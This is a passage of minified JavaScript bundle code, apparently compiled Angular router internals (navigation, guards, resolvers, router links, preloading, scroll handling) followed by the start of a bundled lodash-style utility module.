M&&Tt(M.canActivateChild)}(f1)?f1.canActivateChild(V,M):d1.runInContext(()=>f1(V,M))).pipe(Ye())});return(0,s.of)(Lt).pipe(Wn())}));return(0,s.of)(He).pipe(Wn())}(M,ne.path,p),function rt(M,A,p){const V=A.routeConfig?A.routeConfig.canActivate:null;if(!V||0===V.length)return(0,s.of)(!0);const ne=V.map(He=>(0,S.P)(()=>{const tt=Qn(A)??p,Lt=T(He,tt);return Xe(function an(M){return M&&Tt(M.canActivate)}(Lt)?Lt.canActivate(A,M):tt.runInContext(()=>Lt(A,M))).pipe(Ye())}));return(0,s.of)(ne).pipe(Wn())}(M,ne.route,p))),Ye(ne=>!0!==ne,!0))}(V,He,M,A):(0,s.of)(Lt)),(0,Q.U)(Lt=>({...p,guardsResult:Lt})))})}(this.environmentInjector,tt=>this.events.next(tt)),(0,Ke.b)(tt=>{if(V.guardsResult=tt.guardsResult,vt(tt.guardsResult))throw fi(0,tt.guardsResult);const Lt=new Cn(tt.id,this.urlSerializer.serialize(tt.extractedUrl),this.urlSerializer.serialize(tt.urlAfterRedirects),tt.targetSnapshot,!!tt.guardsResult);this.events.next(Lt)}),(0,K.h)(tt=>!!tt.guardsResult||(p.restoreHistory(tt),this.cancelNavigationTransition(tt,"",3),!1)),mi(tt=>{if(tt.guards.canActivateChecks.length)return(0,s.of)(tt).pipe((0,Ke.b)(Lt=>{const $t=new Mn(Lt.id,this.urlSerializer.serialize(Lt.extractedUrl),this.urlSerializer.serialize(Lt.urlAfterRedirects),Lt.targetSnapshot);this.events.next($t)}),(0,oe.w)(Lt=>{let $t=!1;return(0,s.of)(Lt).pipe(function Ln(M,A){return(0,se.zg)(p=>{const{targetSnapshot:V,guards:{canActivateChecks:ne}}=p;if(!ne.length)return(0,s.of)(p);let He=0;return(0,a.D)(ne).pipe((0,qe.b)(tt=>function rn(M,A,p,V){const ne=M.routeConfig,He=M._resolve;return void 0!==ne?.title&&!t2(ne)&&(He[Je]=ne.title),function kn(M,A,p,V){const ne=function Di(M){return[...Object.keys(M),...Object.getOwnPropertySymbols(M)]}(M);if(0===ne.length)return(0,s.of)({});const He={};return(0,a.D)(ne).pipe((0,se.zg)(tt=>function wi(M,A,p,V){const ne=Qn(A)??V,He=T(M,ne);return Xe(He.resolve?He.resolve(A,p):ne.runInContext(()=>He(A,p)))}(M[tt],A,p,V).pipe(Ye(),(0,Ke.b)(Lt=>{He[tt]=Lt}))),ve(1),(0,P.h)(He),(0,dt.K)(tt=>qn(tt)?H.E:(0,C._)(tt)))}(He,M,A,V).pipe((0,Q.U)(tt=>(M._resolvedData=tt,M.data=Zn(M,p).resolve,ne&&t2(ne)&&(M.data[Je]=ne.title),null)))}(tt.route,V,M,A)),(0,Ke.b)(()=>He++),ve(1),(0,se.zg)(tt=>He===ne.length?(0,s.of)(p):H.E))})}(p.paramsInheritanceStrategy,this.environmentInjector),(0,Ke.b)({next:()=>$t=!0,complete:()=>{$t||(p.restoreHistory(Lt),this.cancelNavigationTransition(Lt,"",2))}}))}),(0,Ke.b)(Lt=>{const $t=new di(Lt.id,this.urlSerializer.serialize(Lt.extractedUrl),this.urlSerializer.serialize(Lt.urlAfterRedirects),Lt.targetSnapshot);this.events.next($t)}))}),mi(tt=>{const Lt=$t=>{const d1=[];$t.routeConfig?.loadComponent&&!$t.routeConfig._loadedComponent&&d1.push(this.configLoader.loadComponent($t.routeConfig).pipe((0,Ke.b)(f1=>{$t.component=f1}),(0,Q.U)(()=>{})));for(const f1 of $t.children)d1.push(...Lt(f1));return d1};return(0,E.aj)(Lt(tt.targetSnapshot.root)).pipe(q(),(0,Ce.q)(1))}),mi(()=>this.afterPreactivation()),(0,Q.U)(tt=>{const Lt=function Ji(M,A,p){const V=bi(M,A._root,p?p._root:void 0);return new qi(V,A)}(p.routeReuseStrategy,tt.targetSnapshot,tt.currentRouterState);return V={...tt,targetRouterState:Lt}}),(0,Ke.b)(tt=>{p.currentUrlTree=tt.urlAfterRedirects,p.rawUrlTree=p.urlHandlingStrategy.merge(tt.urlAfterRedirects,tt.rawUrl),p.routerState=tt.targetRouterState,"deferred"===p.urlUpdateStrategy&&(tt.extras.skipLocationChange||p.setBrowserUrl(p.rawUrlTree,tt),p.browserUrlTree=tt.urlAfterRedirects)}),((M,A,p)=>(0,Q.U)(V=>(new c2(A,V.targetRouterState,V.currentRouterState,p).activate(M),V)))(this.rootContexts,p.routeReuseStrategy,tt=>this.events.next(tt)),(0,Ce.q)(1),(0,Ke.b)({next:tt=>{ne=!0,this.lastSuccessfulNavigation=this.currentNavigation,p.navigated=!0,this.events.next(new Pn(tt.id,this.urlSerializer.serialize(tt.extractedUrl),this.urlSerializer.serialize(p.currentUrlTree))),p.titleStrategy?.updateTitle(tt.targetRouterState.snapshot),tt.resolve(!0)},complete:()=>{ne=!0}}),(0,w.x)(()=>{ne||He||this.cancelNavigationTransition(V,"",1),this.currentNavigation?.id===V.id&&(this.currentNavigation=null)}),(0,dt.K)(tt=>{if(He=!0,Li(tt)){o2(tt)||(p.navigated=!0,p.restoreHistory(V,!0));const Lt=new Fn(V.id,this.urlSerializer.serialize(V.extractedUrl),tt.message,tt.cancellationCode);if(this.events.next(Lt),o2(tt)){const $t=p.urlHandlingStrategy.merge(tt.url,p.rawUrlTree),d1={skipLocationChange:V.extras.skipLocationChange,replaceUrl:"eager"===p.urlUpdateStrategy||Cr(V.source)};p.scheduleNavigation($t,Rn,null,d1,{resolve:V.resolve,reject:V.reject,promise:V.promise})}else V.resolve(!1)}else{p.restoreHistory(V,!0);const Lt=new $n(V.id,this.urlSerializer.serialize(V.extractedUrl),tt,V.targetSnapshot??void 0);this.events.next(Lt);try{V.resolve(p.errorHandler(tt))}catch($t){V.reject($t)}}return H.E}))}))}cancelNavigationTransition(p,V,ne){const He=new Fn(p.id,this.urlSerializer.serialize(p.extractedUrl),V,ne);this.events.next(He),p.resolve(!1)}}return M.\\u0275fac=function(p){return new(p||M)},M.\\u0275prov=n.Yz7({token:M,factory:M.\\u0275fac,providedIn:"root"}),M})();function Cr(M){return M!==Rn}let Rr=(()=>{class M{buildTitle(p){let V,ne=p.root;for(;void 0!==ne;)V=this.getResolvedTitleForRoute(ne)??V,ne=ne.children.find(He=>He.outlet===ct);return V}getResolvedTitleForRoute(p){return p.data[Je]}}return M.\\u0275fac=function(p){return new(p||M)},M.\\u0275prov=n.Yz7({token:M,factory:function(){return(0,n.f3M)(_2)},providedIn:"root"}),M})(),_2=(()=>{class M extends Rr{constructor(p){super(),this.title=p}updateTitle(p){const V=this.buildTitle(p);void 0!==V&&this.title.setTitle(V)}}return M.\\u0275fac=function(p){return new(p||M)(n.LFG(_e.Dx))},M.\\u0275prov=n.Yz7({token:M,factory:M.\\u0275fac,providedIn:"root"}),M})(),qr=(()=>{class M{}return M.\\u0275fac=function(p){return new(p||M)},M.\\u0275prov=n.Yz7({token:M,factory:function(){return(0,n.f3M)(Pr)},providedIn:"root"}),M})();class cr{shouldDetach(A){return!1}store(A,p){}shouldAttach(A){return!1}retrieve(A){return null}shouldReuseRoute(A,p){return A.routeConfig===p.routeConfig}}let Pr=(()=>{class M extends cr{}return M.\\u0275fac=function(){let A;return function(V){return(A||(A=n.n5z(M)))(V||M)}}(),M.\\u0275prov=n.Yz7({token:M,factory:M.\\u0275fac,providedIn:"root"}),M})();const V2=new n.OlP("",{providedIn:"root",factory:()=>({})});let Mr=(()=>{class M{}return M.\\u0275fac=function(p){return new(p||M)},M.\\u0275prov=n.Yz7({token:M,factory:function(){return(0,n.f3M)(Jr)},providedIn:"root"}),M})(),Jr=(()=>{class M{shouldProcessUrl(p){return!0}extract(p){return p}merge(p,V){return p}}return M.\\u0275fac=function(p){return new(p||M)},M.\\u0275prov=n.Yz7({token:M,factory:M.\\u0275fac,providedIn:"root"}),M})();function Nr(M){throw M}function Hr(M,A,p){return A.parse("/")}const Z2={paths:"exact",fragment:"ignored",matrixParams:"ignored",queryParams:"exact"},Xr={paths:"subset",fragment:"ignored",matrixParams:"ignored",queryParams:"subset"};let Jn=(()=>{class M{get navigationId(){return this.navigationTransitions.navigationId}get browserPageId(){if("computed"===this.canceledNavigationResolution)return this.location.getState()?.\\u0275routerPageId}get events(){return this.navigationTransitions.events}constructor(){this.disposed=!1,this.currentPageId=0,this.console=(0,n.f3M)(n.c2e),this.isNgZoneEnabled=!1,this.options=(0,n.f3M)(V2,{optional:!0})||{},this.errorHandler=this.options.errorHandler||Nr,this.malformedUriErrorHandler=this.options.malformedUriErrorHandler||Hr,this.navigated=!1,this.lastSuccessfulId=-1,this.urlHandlingStrategy=(0,n.f3M)(Mr),this.routeReuseStrategy=(0,n.f3M)(qr),this.urlCreationStrategy=(0,n.f3M)(Fi),this.titleStrategy=(0,n.f3M)(Rr),this.onSameUrlNavigation=this.options.onSameUrlNavigation||"ignore",this.paramsInheritanceStrategy=this.options.paramsInheritanceStrategy||"emptyOnly",this.urlUpdateStrategy=this.options.urlUpdateStrategy||"deferred",this.canceledNavigationResolution=this.options.canceledNavigationResolution||"replace",this.config=m((0,n.f3M)(Ai,{optional:!0})??[]),this.navigationTransitions=(0,n.f3M)(K2),this.urlSerializer=(0,n.f3M)(J),this.location=(0,n.f3M)(G.Ye),this.isNgZoneEnabled=(0,n.f3M)(n.R0b)instanceof n.R0b&&n.R0b.isInAngularZone(),this.resetConfig(this.config),this.currentUrlTree=new Fe,this.rawUrlTree=this.currentUrlTree,this.browserUrlTree=this.currentUrlTree,this.routerState=h2(this.currentUrlTree,null),this.navigationTransitions.setupNavigations(this).subscribe(p=>{this.lastSuccessfulId=p.id,this.currentPageId=this.browserPageId??0},p=>{this.console.warn(`Unhandled Navigation Error: ${p}`)})}resetRootComponentType(p){this.routerState.root.component=p,this.navigationTransitions.rootComponentType=p}initialNavigation(){if(this.setUpLocationChangeListener(),!this.navigationTransitions.hasRequestedNavigation){const p=this.location.getState();this.navigateToSyncWithBrowser(this.location.path(!0),Rn,p)}}setUpLocationChangeListener(){this.locationSubscription||(this.locationSubscription=this.location.subscribe(p=>{const V="popstate"===p.type?"popstate":"hashchange";"popstate"===V&&setTimeout(()=>{this.navigateToSyncWithBrowser(p.url,V,p.state)},0)}))}navigateToSyncWithBrowser(p,V,ne){const He={replaceUrl:!0},tt=ne?.navigationId?ne:null;if(ne){const $t={...ne};delete $t.navigationId,delete $t.\\u0275routerPageId,0!==Object.keys($t).length&&(He.state=$t)}const Lt=this.parseUrl(p);this.scheduleNavigation(Lt,V,tt,He)}get url(){return this.serializeUrl(this.currentUrlTree)}getCurrentNavigation(){return this.navigationTransitions.currentNavigation}resetConfig(p){this.config=p.map(v2),this.navigated=!1,this.lastSuccessfulId=-1}ngOnDestroy(){this.dispose()}dispose(){this.navigationTransitions.complete(),this.locationSubscription&&(this.locationSubscription.unsubscribe(),this.locationSubscription=void 0),this.disposed=!0}createUrlTree(p,V={}){const{relativeTo:ne,queryParams:He,fragment:tt,queryParamsHandling:Lt,preserveFragment:$t}=V,d1=$t?this.currentUrlTree.fragment:tt;let f1=null;switch(Lt){case"merge":f1={...this.currentUrlTree.queryParams,...He};break;case"preserve":f1=this.currentUrlTree.queryParams;break;default:f1=He||null}return null!==f1&&(f1=this.removeEmptyProps(f1)),this.urlCreationStrategy.createUrlTree(ne,this.routerState,this.currentUrlTree,p,f1,d1??null)}navigateByUrl(p,V={skipLocationChange:!1}){const ne=vt(p)?p:this.parseUrl(p),He=this.urlHandlingStrategy.merge(ne,this.rawUrlTree);return this.scheduleNavigation(He,Rn,null,V)}navigate(p,V={skipLocationChange:!1}){return function k2(M){for(let A=0;A<M.length;A++){const p=M[A];if(null==p)throw new n.vHH(4008,false)}}(p),this.navigateByUrl(this.createUrlTree(p,V),V)}serializeUrl(p){return this.urlSerializer.serialize(p)}parseUrl(p){let V;try{V=this.urlSerializer.parse(p)}catch(ne){V=this.malformedUriErrorHandler(ne,this.urlSerializer,p)}return V}isActive(p,V){let ne;if(ne=!0===V?{...Z2}:!1===V?{...Xr}:V,vt(p))return Gt(this.currentUrlTree,p,ne);const He=this.parseUrl(p);return Gt(this.currentUrlTree,He,ne)}removeEmptyProps(p){return Object.keys(p).reduce((V,ne)=>{const He=p[ne];return null!=He&&(V[ne]=He),V},{})}scheduleNavigation(p,V,ne,He,tt){if(this.disposed)return Promise.resolve(!1);let Lt,$t,d1,f1;return tt?(Lt=tt.resolve,$t=tt.reject,d1=tt.promise):d1=new Promise((q1,On)=>{Lt=q1,$t=On}),f1="computed"===this.canceledNavigationResolution?ne&&ne.\\u0275routerPageId?ne.\\u0275routerPageId:(this.browserPageId??0)+1:0,this.navigationTransitions.handleNavigationRequest({targetPageId:f1,source:V,restoredState:ne,currentUrlTree:this.currentUrlTree,currentRawUrl:this.currentUrlTree,rawUrl:p,extras:He,resolve:Lt,reject:$t,promise:d1,currentSnapshot:this.routerState.snapshot,currentRouterState:this.routerState}),d1.catch(q1=>Promise.reject(q1))}setBrowserUrl(p,V){const ne=this.urlSerializer.serialize(p);if(this.location.isCurrentPathEqualTo(ne)||V.extras.replaceUrl){const tt={...V.extras.state,...this.generateNgRouterState(V.id,this.browserPageId)};this.location.replaceState(ne,"",tt)}else{const He={...V.extras.state,...this.generateNgRouterState(V.id,V.targetPageId)};this.location.go(ne,"",He)}}restoreHistory(p,V=!1){if("computed"===this.canceledNavigationResolution){const He=this.currentPageId-(this.browserPageId??this.currentPageId);0!==He?this.location.historyGo(He):this.currentUrlTree===this.getCurrentNavigation()?.finalUrl&&0===He&&(this.resetState(p),this.browserUrlTree=p.currentUrlTree,this.resetUrlToCurrentUrlTree())}else"replace"===this.canceledNavigationResolution&&(V&&this.resetState(p),this.resetUrlToCurrentUrlTree())}resetState(p){this.routerState=p.currentRouterState,this.currentUrlTree=p.currentUrlTree,this.rawUrlTree=this.urlHandlingStrategy.merge(this.currentUrlTree,p.rawUrl)}resetUrlToCurrentUrlTree(){this.location.replaceState(this.urlSerializer.serialize(this.rawUrlTree),"",this.generateNgRouterState(this.lastSuccessfulId,this.currentPageId))}generateNgRouterState(p,V){return"computed"===this.canceledNavigationResolution?{navigationId:p,\\u0275routerPageId:V}:{navigationId:p}}}return M.\\u0275fac=function(p){return new(p||M)},M.\\u0275prov=n.Yz7({token:M,factory:M.\\u0275fac,providedIn:"root"}),M})(),Q2=(()=>{class M{constructor(p,V,ne,He,tt,Lt){this.router=p,this.route=V,this.tabIndexAttribute=ne,this.renderer=He,this.el=tt,this.locationStrategy=Lt,this._preserveFragment=!1,this._skipLocationChange=!1,this._replaceUrl=!1,this.href=null,this.commands=null,this.onChanges=new U.xQ;const $t=tt.nativeElement.tagName?.toLowerCase();this.isAnchorElement="a"===$t||"area"===$t,this.isAnchorElement?this.subscription=p.events.subscribe(d1=>{d1 instanceof Pn&&this.updateHref()}):this.setTabIndexIfNotOnNativeEl("0")}set preserveFragment(p){this._preserveFragment=(0,n.D6c)(p)}get preserveFragment(){return this._preserveFragment}set skipLocationChange(p){this._skipLocationChange=(0,n.D6c)(p)}get skipLocationChange(){return this._skipLocationChange}set replaceUrl(p){this._replaceUrl=(0,n.D6c)(p)}get replaceUrl(){return this._replaceUrl}setTabIndexIfNotOnNativeEl(p){null!=this.tabIndexAttribute||this.isAnchorElement||this.applyAttributeValue("tabindex",p)}ngOnChanges(p){this.isAnchorElement&&this.updateHref(),this.onChanges.next(this)}set routerLink(p){null!=p?(this.commands=Array.isArray(p)?p:[p],this.setTabIndexIfNotOnNativeEl("0")):(this.commands=null,this.setTabIndexIfNotOnNativeEl(null))}onClick(p,V,ne,He,tt){return!!(null===this.urlTree||this.isAnchorElement&&(0!==p||V||ne||He||tt||"string"==typeof this.target&&"_self"!=this.target))||(this.router.navigateByUrl(this.urlTree,{skipLocationChange:this.skipLocationChange,replaceUrl:this.replaceUrl,state:this.state}),!this.isAnchorElement)}ngOnDestroy(){this.subscription?.unsubscribe()}updateHref(){this.href=null!==this.urlTree&&this.locationStrategy?this.locationStrategy?.prepareExternalUrl(this.router.serializeUrl(this.urlTree)):null;const p=null===this.href?null:(0,n.P3R)(this.href,this.el.nativeElement.tagName.toLowerCase(),"href");this.applyAttributeValue("href",p)}applyAttributeValue(p,V){const ne=this.renderer,He=this.el.nativeElement;null!==V?ne.setAttribute(He,p,V):ne.removeAttribute(He,p)}get urlTree(){return null===this.commands?null:this.router.createUrlTree(this.commands,{relativeTo:void 0!==this.relativeTo?this.relativeTo:this.route,queryParams:this.queryParams,fragment:this.fragment,queryParamsHandling:this.queryParamsHandling,preserveFragment:this.preserveFragment})}}return M.\\u0275fac=function(p){return new(p||M)(n.Y36(Jn),n.Y36(ei),n.$8M("tabindex"),n.Y36(n.Qsj),n.Y36(n.SBq),n.Y36(G.S$))},M.\\u0275dir=n.lG2({type:M,selectors:[["","routerLink",""]],hostVars:1,hostBindings:function(p,V){1&p&&n.NdJ("click",function(He){return V.onClick(He.button,He.ctrlKey,He.shiftKey,He.altKey,He.metaKey)}),2&p&&n.uIk("target",V.target)},inputs:{target:"target",queryParams:"queryParams",fragment:"fragment",queryParamsHandling:"queryParamsHandling",state:"state",relativeTo:"relativeTo",preserveFragment:"preserveFragment",skipLocationChange:"skipLocationChange",replaceUrl:"replaceUrl",routerLink:"routerLink"},standalone:!0,features:[n.TTD]}),M})();class O2{}let xr=(()=>{class M{constructor(p,V,ne,He,tt){this.router=p,this.injector=ne,this.preloadingStrategy=He,this.loader=tt}setUpPreloading(){this.subscription=this.router.events.pipe((0,K.h)(p=>p instanceof Pn),(0,qe.b)(()=>this.preload())).subscribe(()=>{})}preload(){return this.processRoutes(this.injector,this.router.config)}ngOnDestroy(){this.subscription&&this.subscription.unsubscribe()}processRoutes(p,V){const ne=[];for(const He of V){He.providers&&!He._injector&&(He._injector=(0,n.MMx)(He.providers,p,`Route: ${He.path}`));const tt=He._injector??p,Lt=He._loadedInjector??tt;(He.loadChildren&&!He._loadedRoutes&&void 0===He.canLoad||He.loadComponent&&!He._loadedComponent)&&ne.push(this.preloadConfig(tt,He)),(He.children||He._loadedRoutes)&&ne.push(this.processRoutes(Lt,He.children??He._loadedRoutes))}return(0,a.D)(ne).pipe((0,X.J)())}preloadConfig(p,V){return this.preloadingStrategy.preload(V,()=>{let ne;ne=V.loadChildren&&void 0===V.canLoad?this.loader.loadChildren(p,V):(0,s.of)(null);const He=ne.pipe((0,se.zg)(tt=>null===tt?(0,s.of)(void 0):(V._loadedRoutes=tt.routes,V._loadedInjector=tt.injector,this.processRoutes(tt.injector??p,tt.routes))));if(V.loadComponent&&!V._loadedComponent){const tt=this.loader.loadComponent(V);return(0,a.D)([He,tt]).pipe((0,X.J)())}return He})}}return M.\\u0275fac=function(p){return new(p||M)(n.LFG(Jn),n.LFG(n.Sil),n.LFG(n.lqb),n.LFG(O2),n.LFG(ji))},M.\\u0275prov=n.Yz7({token:M,factory:M.\\u0275fac,providedIn:"root"}),M})();const q2=new n.OlP("");let Dr=(()=>{class M{constructor(p,V,ne,He,tt={}){this.urlSerializer=p,this.transitions=V,this.viewportScroller=ne,this.zone=He,this.options=tt,this.lastId=0,this.lastSource="imperative",this.restoredId=0,this.store={},tt.scrollPositionRestoration=tt.scrollPositionRestoration||"disabled",tt.anchorScrolling=tt.anchorScrolling||"disabled"}init(){"disabled"!==this.options.scrollPositionRestoration&&this.viewportScroller.setHistoryScrollRestoration("manual"),this.routerEventsSubscription=this.createScrollEvents(),this.scrollEventsSubscription=this.consumeScrollEvents()}createScrollEvents(){return this.transitions.events.subscribe(p=>{p instanceof X1?(this.store[this.lastId]=this.viewportScroller.getScrollPosition(),this.lastSource=p.navigationTrigger,this.restoredId=p.restoredState?p.restoredState.navigationId:0):p instanceof Pn&&(this.lastId=p.id,this.scheduleScrollEvent(p,this.urlSerializer.parse(p.urlAfterRedirects).fragment))})}consumeScrollEvents(){return this.transitions.events.subscribe(p=>{p instanceof Sn&&(p.position?"top"===this.options.scrollPositionRestoration?this.viewportScroller.scrollToPosition([0,0]):"enabled"===this.options.scrollPositionRestoration&&this.viewportScroller.scrollToPosition(p.position):p.anchor&&"enabled"===this.options.anchorScrolling?this.viewportScroller.scrollToAnchor(p.anchor):"disabled"!==this.options.scrollPositionRestoration&&this.viewportScroller.scrollToPosition([0,0]))})}scheduleScrollEvent(p,V){this.zone.runOutsideAngular(()=>{setTimeout(()=>{this.zone.run(()=>{this.transitions.events.next(new Sn(p,"popstate"===this.lastSource?this.store[this.restoredId]:null,V))})},0)})}ngOnDestroy(){this.routerEventsSubscription?.unsubscribe(),this.scrollEventsSubscription?.unsubscribe()}}return M.\\u0275fac=function(p){n.$Z()},M.\\u0275prov=n.Yz7({token:M,factory:M.\\u0275fac}),M})();var oi=(()=>((oi=oi||{})[oi.COMPLETE=0]="COMPLETE",oi[oi.FAILED=1]="FAILED",oi[oi.REDIRECTING=2]="REDIRECTING",oi))();const Ri=!1;function d2(M,A){return{\\u0275kind:M,\\u0275providers:A}}const T2=new n.OlP("",{providedIn:"root",factory:()=>!1});function Ur(){const M=(0,n.f3M)(n.zs3);return A=>{const p=M.get(n.z2F);if(A!==p.components[0])return;const V=M.get(Jn),ne=M.get(Gr);1===M.get(wr)&&V.initialNavigation(),M.get(I2,null,n.XFs.Optional)?.setUpPreloading(),M.get(q2,null,n.XFs.Optional)?.init(),V.resetRootComponentType(p.componentTypes[0]),ne.closed||(ne.next(),ne.complete(),ne.unsubscribe())}}const Gr=new n.OlP(Ri?"bootstrap done indicator":"",{factory:()=>new U.xQ}),wr=new n.OlP(Ri?"initial navigation":"",{providedIn:"root",factory:()=>1});function ra(){let M=[];return M=Ri?[{provide:n.Xts,multi:!0,useFactory:()=>{const A=(0,n.f3M)(Jn);return()=>A.events.subscribe(p=>{console.group?.(`Router Event: ${p.constructor.name}`),console.log(function Ei(M){if(!("type"in M))return`Unknown Router Event: ${M.constructor.name}`;switch(M.type){case 14:return`ActivationEnd(path: \'${M.snapshot.routeConfig?.path||""}\')`;case 13:return`ActivationStart(path: \'${M.snapshot.routeConfig?.path||""}\')`;case 12:return`ChildActivationEnd(path: \'${M.snapshot.routeConfig?.path||""}\')`;case 11:return`ChildActivationStart(path: \'${M.snapshot.routeConfig?.path||""}\')`;case 8:return`GuardsCheckEnd(id: ${M.id}, url: \'${M.url}\', urlAfterRedirects: \'${M.urlAfterRedirects}\', state: ${M.state}, shouldActivate: ${M.shouldActivate})`;case 7:return`GuardsCheckStart(id: ${M.id}, url: \'${M.url}\', urlAfterRedirects: \'${M.urlAfterRedirects}\', state: ${M.state})`;case 2:return`NavigationCancel(id: ${M.id}, url: \'${M.url}\')`;case 16:return`NavigationSkipped(id: ${M.id}, url: \'${M.url}\')`;case 1:return`NavigationEnd(id: ${M.id}, url: \'${M.url}\', urlAfterRedirects: \'${M.urlAfterRedirects}\')`;case 3:return`NavigationError(id: ${M.id}, url: \'${M.url}\', error: ${M.error})`;case 0:return`NavigationStart(id: ${M.id}, url: \'${M.url}\')`;case 6:return`ResolveEnd(id: ${M.id}, url: \'${M.url}\', urlAfterRedirects: \'${M.urlAfterRedirects}\', state: ${M.state})`;case 5:return`ResolveStart(id: ${M.id}, url: \'${M.url}\', urlAfterRedirects: \'${M.urlAfterRedirects}\', state: ${M.state})`;case 10:return`RouteConfigLoadEnd(path: ${M.route.path})`;case 9:return`RouteConfigLoadStart(path: ${M.route.path})`;case 4:return`RoutesRecognized(id: ${M.id}, url: \'${M.url}\', urlAfterRedirects: \'${M.urlAfterRedirects}\', state: ${M.state})`;case 15:return`Scroll(anchor: \'${M.anchor}\', position: \'${M.position?`${M.position[0]}, ${M.position[1]}`:null}\')`}}(p)),console.log(p),console.groupEnd?.()})}}]:[],d2(1,M)}const I2=new n.OlP(Ri?"router preloader":"");function G2(M){return d2(0,[{provide:I2,useExisting:xr},{provide:O2,useExisting:M}])}const y2=!1,Ar=new n.OlP(y2?"router duplicate forRoot guard":"ROUTER_FORROOT_GUARD"),n2=[G.Ye,{provide:J,useClass:Ae},Jn,Ci,{provide:ei,useFactory:function U2(M){return M.routerState.root},deps:[Jn]},ji,y2?{provide:T2,useValue:!0}:[]];function R2(){return new n.PXZ("Router",Jn)}let Sr=(()=>{class M{constructor(p){}static forRoot(p,V){return{ngModule:M,providers:[n2,y2&&V?.enableTracing?ra().\\u0275providers:[],{provide:Ai,multi:!0,useValue:p},{provide:Ar,useFactory:Ea,deps:[[Jn,new n.FiY,new n.tp0]]},{provide:V2,useValue:V||{}},V?.useHash?{provide:G.S$,useClass:G.Do}:{provide:G.S$,useClass:G.b0},{provide:q2,useFactory:()=>{const M=(0,n.f3M)(G.EM),A=(0,n.f3M)(n.R0b),p=(0,n.f3M)(V2),V=(0,n.f3M)(K2),ne=(0,n.f3M)(J);return p.scrollOffset&&M.setOffset(p.scrollOffset),new Dr(ne,V,M,A,p)}},V?.preloadingStrategy?G2(V.preloadingStrategy).\\u0275providers:[],{provide:n.PXZ,multi:!0,useFactory:R2},V?.initialNavigation?sa(V):[],[{provide:oa,useFactory:Ur},{provide:n.tb,multi:!0,useExisting:oa}]]}}static forChild(p){return{ngModule:M,providers:[{provide:Ai,multi:!0,useValue:p}]}}}return M.\\u0275fac=function(p){return new(p||M)(n.LFG(Ar,8))},M.\\u0275mod=n.oAB({type:M}),M.\\u0275inj=n.cJS({imports:[Gi]}),M})();function Ea(M){if(y2&&M)throw new n.vHH(4007,"The Router was provided more than once. This can happen if \'forRoot\' is used outside of the root injector. Lazy loaded modules should use RouterModule.forChild() instead.");return"guarded"}function sa(M){return["disabled"===M.initialNavigation?d2(3,[{provide:n.ip1,multi:!0,useFactory:()=>{const A=(0,n.f3M)(Jn);return()=>{A.setUpLocationChangeListener()}}},{provide:wr,useValue:2}]).\\u0275providers:[],"enabledBlocking"===M.initialNavigation?d2(2,[{provide:wr,useValue:0},{provide:n.ip1,multi:!0,deps:[n.zs3],useFactory:A=>{const p=A.get(G.V_,Promise.resolve());return()=>p.then(()=>new Promise(V=>{const ne=A.get(Jn),He=A.get(Gr);(function B2(M,A){M.events.pipe((0,K.h)(p=>p instanceof Pn||p instanceof Fn||p instanceof $n||p instanceof An),(0,Q.U)(p=>p instanceof Pn||p instanceof An?oi.COMPLETE:p instanceof Fn&&(0===p.code||1===p.code)?oi.REDIRECTING:oi.FAILED),(0,K.h)(p=>p!==oi.REDIRECTING),(0,Ce.q)(1)).subscribe(()=>{A()})})(ne,()=>{V(!0)}),A.get(K2).afterPreactivation=()=>(V(!0),He.closed?(0,s.of)(void 0):He),ne.initialNavigation()}))}}]).\\u0275providers:[]]}const oa=new n.OlP(y2?"Router Initializer":"")},7163:(At,ae,d)=>{"use strict";d.d(ae,{Z:()=>Pa});const a=function n(ge,et){for(var St=-1,Bt=et.length,n1=ge.length;++St<Bt;)ge[n1+St]=et[St];return ge},u="object"==typeof global&&global&&global.Object===Object&&global;var c="object"==typeof self&&self&&self.Object===Object&&self;const E=u||c||Function("return this")(),S=E.Symbol;var g=Object.prototype,C=g.hasOwnProperty,z=g.toString,H=S?S.toStringTag:void 0;var Q=Object.prototype.toString;var se=S?S.toStringTag:void 0;const q=function ee(ge){return null==ge?void 0===ge?"[object Undefined]":"[object Null]":se&&se in Object(ge)?function j(ge){var et=C.call(ge,H),St=ge[H];try{ge[H]=void 0;var Bt=!0}catch{}var n1=z.call(ge);return Bt&&(et?ge[H]=St:delete ge[H]),n1}(ge):function oe(ge){return Q.call(ge)}(ge)},ce=function we(ge){return null!=ge&&"object"==typeof ge};const le=function Ze(ge){return ce(ge)&&"[object Arguments]"==q(ge)};var Oe=Object.prototype,Qe=Oe.hasOwnProperty,Ye=Oe.propertyIsEnumerable,qe=le(function(){return arguments}())?le:function(ge){return ce(ge)&&Qe.call(ge,"callee")&&!Ye.call(ge,"callee")};const Ke=qe,bt=Array.isArray;var ze=S?S.isConcatSpreadable:void 0;const re=function De(ge){return bt(ge)||Ke(ge)||!!(ze&&ge&&ge[ze])},We=function ve(ge,et,St,Bt,n1){var e1=-1,x1=ge.length;for(St||(St=re),n1||(n1=[]);++e1<x1;){var k1=ge[e1];et>0&&St(k1)?et>1?ve(k1,et-1,St,Bt,n1):a(n1,k1):Bt||(n1[n1.length]=k1)}return n1},Be=function xt(ge,et){for(var St=-1,Bt=null==ge?0:ge.length,n1=Array(Bt);++St<Bt;)n1[St]=et(ge[St],St,ge);return n1};const w=function P(ge){return"symbol"==typeof ge||ce(ge)&&"[object Symbol]"==q(ge)};var R=/\\.|\\[(?:[^[\\]]*|(["\'])(?:(?!\\1)[^\\\\]|\\\\.)*?\\1)\\]/,X=/^\\w*$/;const ct=function _e(ge,et){if(bt(ge))return!1;var St=typeof ge;return!("number"!=St&&"symbol"!=St&&"boolean"!=St&&null!=ge&&!w(ge))||X.test(ge)||!R.test(ge)||null!=et&&ge in Object(et)},Et=function Je(ge){var et=typeof ge;return null!=ge&&("object"==et||"function"==et)};const m=function x(ge){if(!Et(ge))return!1;var et=q(ge);return"[object Function]"==et||"[object GeneratorFunction]"==et||"[object AsyncFunction]"==et||"[object Proxy]"==et};var ge,b=E["__core-js_shared__"],ie=(ge=/[^.]+$/.exec(b&&b.keys&&b.keys.IE_PROTO||""))?"Symbol(src)_1."+ge:"";var Vt=Function.prototype.toString;const qt=function Gt(ge){if(null!=ge){try{return Vt.call(ge)}catch{}try{return ge+""}catch{}}return""};var c1=/^\\[object .+?Constructor\\]$/,be=RegExp("^"+Function.prototype.toString.call(Object.prototype.hasOwnProperty).replace(/[\\\\^$.*+?()[\\]{}|]/g,"\\\\$&").replace(/hasOwnProperty|(function).*?(?=\\\\\\()| for .+?(?=\\\\\\])/g,"$1.*?")+"$");const Re=function Pe(ge){return!(!Et(ge)||function 